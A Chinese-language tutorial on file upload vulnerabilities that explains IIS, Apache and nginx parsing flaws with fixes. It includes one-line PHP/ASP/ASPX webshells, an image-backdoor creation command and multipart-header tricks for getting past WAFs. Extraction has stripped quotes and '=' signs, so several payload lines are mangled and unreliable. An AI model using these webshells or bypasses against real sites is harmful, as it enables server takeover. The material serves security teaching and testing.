2026/4/6 6:53:57
网站建设
项目流程
上海网站推荐,从零开始学习网站建设,如何做一个论坛网站,软件开发外包公司是干嘛的一#xff0c;文件上传漏洞定义
文件上传漏洞是web系统中常见的一种功能#xff0c;通过文件上传能实现上传图片、视频#xff0c;以及其他类型的文件#xff0c;但是随着web中包含的功能越来越多#xff0c;潜在的网络安全风险也就越大。
如果恶意用户上传了可执行的文…一文件上传漏洞定义文件上传漏洞是web系统中常见的一种功能通过文件上传能实现上传图片、视频以及其他类型的文件但是随着web中包含的功能越来越多潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本就会导致网站被其控制甚至会使其服务器沦陷以至于引发恶意的网络安全事件。二文件上传漏洞原理通尝来说文件上传功能是没有问题的主要是服务器如何对上传的文件如何进行处理。若WEB未对用户上传的文件进行有效的审查若存在恶意用户对其上传一句话木马从而实现控制WEB网站的目的。下面是一句话木马的简单介绍?php eval($_POST[attack]);?简单的一句话木马常见的一句话木马php的一句话木马 ?php eval($_POST[pass]);?asp的一句话是 %eval request (pass)%aspx的一句话是 % Page LanguageJscript% %eval(Request.Item[pass],unsafe);%这句话什么意思呢1php的代码要写在?php ?里面服务器才能认出来这是php代码然后才去解析。2符号的意思是不报错即使执行错误也不报错。为什么密码是cmd呢那就要来理解这句话的意思了。php里面几个超全局变量$_GET、$_POST就是其中之一。$_POST[a]; 的意思就是a这个变量用post的方法接收。注释传输数据的两种方法get、postpost是在消息体存放数据get是在消息头的url路径里存放数据例如xxx.php?a2如何理解eval()函数eval()把字符串作为PHP代码执行。】三文件上传思路常规类扫描获取上传会员中心头像上传后台系统上传其他途径上传。cms类已知道的cms源码。编辑类ckeditorfckeditorkindeditorxxxxeditor。其他类/CVE代码审计平台或第三方应用。web界面存在的风险点上传头像、上传身份认证、上传文件以及有存在文件上传的地方就可能存在相关的漏洞但不是有文件上传就一定有漏洞但有文件上传就能进行测试。文件上传实战思路上传文件和文件执行是两个东西漏洞分类解析漏洞、cms漏洞、其他漏洞编辑器漏洞、cve漏洞、安全修复思路如果有一个网站要从文件上传的方向开始第一步先看中间件看是否存在解析漏洞/CMS/编辑器漏洞/CVE/如果有如何找字典扫描扫描会员中心文件上传的位置找到后如何利用验证/绕过四解析漏洞1.解析漏洞解释解析漏洞就是指服务器应用程序在解析某些精心构造的后缀文件的时候会将相关的文件解析成网页的脚本从而导致实现控制网站同时大部分的解析漏洞都是由应用程序产生的。IIS解析漏洞IIS5.0/6.0目录解析在以. asp文件名的文件夹下的任何文件都将作为asp文件执行。也就是当目录为XX.asp的时候那么当访问下面的图片的时候如XX.aps/1.jpg就会被当作ASP执行。2文件解析如果文件为1.asp;.jpg由于IIS不解析;后面的内容使用就会把文件当作1.asp进行解析同时还存在.asa、.cer、.cdx可以进行解析。修复建议1限制上传目录的执行权限不允许执行脚本。2不允许创建目录。3上传的文件进行重命名。IIS7.0/IIS7.5IIS7.0/IIS7.5Fast-CGI在Fast-CGI开启的状态下在类似1.jpg后面加上/1.php,变成/1.jpg/1.php路径会解析成PHP文件。需要进入php.ini里面修改cig.cgi_ pathinfo1。将1.txt文本文件中的后门代码写入到1.jpg图片的二进制代码copy 1.jpg/b 1.txt/a 1.jpg1.txt的文件内容为?PHPfputs(fopen(shell.php,w),?php eval($_POST[password])?);?当在图片文件中写入后门代码当访问这个图片的时候加上/.php的时候就会在当前目录下生成一句话木马shell.php。修复建议配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序apache解析漏洞apache解析漏洞在apache1.x和apache2.x中存在解析漏洞。当一个文件为1.php.yy.xx的时候就会被当作php执行这是由于在apache解析文件的时候有一个原则就是以.后面的扩展名来解析当遇见不认识的扩展名的时候就会向前解析直到遇到能够解析的后缀名为止。如1.php.yy.xx首先会解析xxxx无法解析就会去解析yyyy无法解析就会去解析php那么php是能够解析了那么就会结束。这种方式多用于绕过黑名单的检查。修复建议1更新至最新版本。将上传的文件进行重命名。解析漏洞nginx8.03nginx配置文件错误由于nginx默认是用cgi解析php的因此和iis一样可以制作图片马进行上传。当在图片文件中写入后门代码当访问这个图片的时候加上/.php的时候就会在当前目录下生成一句话木马shell.php。修复建议1配置cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序2或如果需要使用到cgi.fix_pathinfo这个特性例如Wordpress那么可以禁止上传目录的执行脚本权限。 或将上传存储的内容与网站分离即站库分离。3或高版本PHP提供了security.limit_extensions这个配置参数设置security.limit_extensions .phpnginx 0.5/0.6/0.70.7.65/0.80.8.37nginx空字节任意代码执行当使用PHP-FastCGI执行PHP时遇到url里面存在%00空字节时与FastCGI的处理不一致导致可在非PHP文件中嵌入PHP代码通过访问url%00.PHP来执行其中的PHP代码。比如上传一张图片马1.jpg那么当访问这个图片马的时在1.jpg后面添加%00.php就会将图片马以php执行。修复建议1升级nginx版本。3编辑器漏洞介绍编辑器也就是在线的web编辑器比如在搭建博客后需要发布文章那么用来发布文章的界面就是web编辑器。当然web编辑器有很多如UEDITOR百度、eWebEdit、FCKeditor、CKEditor新版fck、Kindeditor、DotNetTextBox、CuteEditor等等。五WAF绕过5.1.WAF绕过解释waf绕过其实就是将数据包截获到对里面的内容进行解析比如对文件的后缀名就判断是否在相应的黑名单中文件内容中是否存在webshell代码。总的来说文件上传都是在数据包中进行各种操作来进行绕过。5.2.上传参数名解析Content-Disposition :一般可更改name:表单参数值不能更改filename:文件名可以更改例如应用bp修改Content-Type:文件MIME视情况更改5.3.绕过方式5.3.1.数据溢出5.3.1.1.form-data与name之间在form-data;与nameupload_file; filename2.php之间添加大量的垃圾数据可以边添加边测试直到上传上去主要添加的垃圾数据需要在后面添加一个;进行结尾。5.3.1.2.name与filename之间当然这里不单单可以插入在form-data;与nameupload_file; filename2.php之间也可以在nameupload_file; 与filename2.php之间。但是数据不能乱插入比如你插在2.php中那肯定不行一般情况下文件名称长度都可能存在限制并且太长也上传不上去。5.3.2.1.filename符号变异符号变异也就是将单双引号变换使用或者单双引号缺失一部分进行使用或者不使用单双引号来进行绕过。目前测试好像是无法通过了。Content-Disposition: form-data; nameupload_file; filename2.phpContent-Disposition: form-data; nameupload_file; filename2.phpContent-Disposition: form-data; nameupload_file; filename2.php5.3.2.2.form-data符号变异Content-Disposition:form-data; nameupload_file; filename2.phpContent-Disposition:form-data; nameupload_file; filename2.php5.3.3.数据截断5.3.3.1.回车换行通过换行来实现绕过但是中间不能有空行。5.3.3.2.分号截断若WAF匹配文件名到分号截止则可以绕过。5.3.4.字段名变换5.3.4.1.大小写变换对这三个字段进行大小写进行变换比如将name换成Name、Content-Disposition换成content-disposition等等。5.3.4.2.顺序颠倒针对name和filename这两个字段我们可以尝试交换name和filename的顺序。由于有规定Content-Dispositon必须在前面因此我们不能修改该字段的内容5.3.5.重复数据通过设置多个参数进行匹配避免被匹配到。Content-Disposition: form-data; nameupload_file;filename2.jpg;filename2.jpg;filename2.jpg;filename2.jpg;......filename2.php;最全的文件上传漏洞之WAF拦截绕过总结干货 | 最全的文件上传漏洞之WAF拦截绕过总结-腾讯云开发者社区-腾讯云本文参考了部分csdn大佬写的博客论文内容仅供参考